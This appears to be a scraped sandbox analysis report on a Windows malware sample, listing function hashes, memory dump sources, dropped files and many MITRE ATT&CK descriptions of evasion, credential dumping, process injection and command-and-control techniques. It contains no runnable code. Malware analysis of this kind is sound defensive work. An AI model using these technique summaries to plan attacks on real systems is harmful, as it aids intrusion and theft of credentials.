API String ID: 0-2876200767
Opcode ID: 07d6f7aa67cd5c943cafa81358fa605dd5a345f93b9e86dd10e83c6e8c148386
Instruction ID: e6bedaa9198f4215eac6b26f3518da8d7d97a8c98fef5c6c0e7375bbd52f78d8
Opcode Fuzzy Hash: 07d6f7aa67cd5c943cafa81358fa605dd5a345f93b9e86dd10e83c6e8c148386
Instruction Fuzzy Hash: E22168F2310306DBDF34596A8824737FADA9BC1710F28843BA909CB382DE35E8418361

Function 07D5AECC Relevance: 5.1, Strings: 4, Instructions: 80COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D5AF5B
$cq, xrefs: 07D5AF83
$cq, xrefs: 07D5AF3F
$cq, xrefs: 07D5AF9F

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: $cq$$cq$$cq$$cq
API String ID: 0-2876200767
Opcode ID: 1e130a55a38fb257dd0c0a1686188c8d205c418a4f58779d16659508354a0bef
Instruction ID: 32d1f8cfad0fc2712c3666eae56463a86e78e519440c2c46ef4b87f62fbfec7c
Opcode Fuzzy Hash: 1e130a55a38fb257dd0c0a1686188c8d205c418a4f58779d16659508354a0bef
Instruction Fuzzy Hash: CE2103F16013169FCF318E68D54067AFFF5AFD2210F1482ABEC5497242D632C584C7A1

Function 07D50308 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D5037F
$cq, xrefs: 07D50352
$cq, xrefs: 07D5035E
4'cq, xrefs: 07D50373

Memory Dump Source

Source File: 00000002.00000002.2497320373.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq
API String ID: 0-1126079151
Opcode ID: 60f227aec2f366ab982ce482f540d6222eca81f42f7b6f883990d3cf2f8d10bb
Instruction ID: c6bca2a0f07761af056c01680071aacdfd9549926a79eb3fc520c4f9bfba3d6c
Opcode Fuzzy Hash: 60f227aec2f366ab982ce482f540d6222eca81f42f7b6f883990d3cf2f8d10bb
Instruction Fuzzy Hash: FD0184613193864FDB3A56385C20266AFB6AFC2611B6941EBC441CB293CA158C4583A6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SN890156.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\70568901139478990174961.tmp

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-console-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-datetime-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-debug-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-errorhandling-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l2-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-handle-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-heap-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-interlocked-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-libraryloader-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-localization-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-memory-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-namedpipe-l1-1-0.dll

Windows Analysis Report
SN890156.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre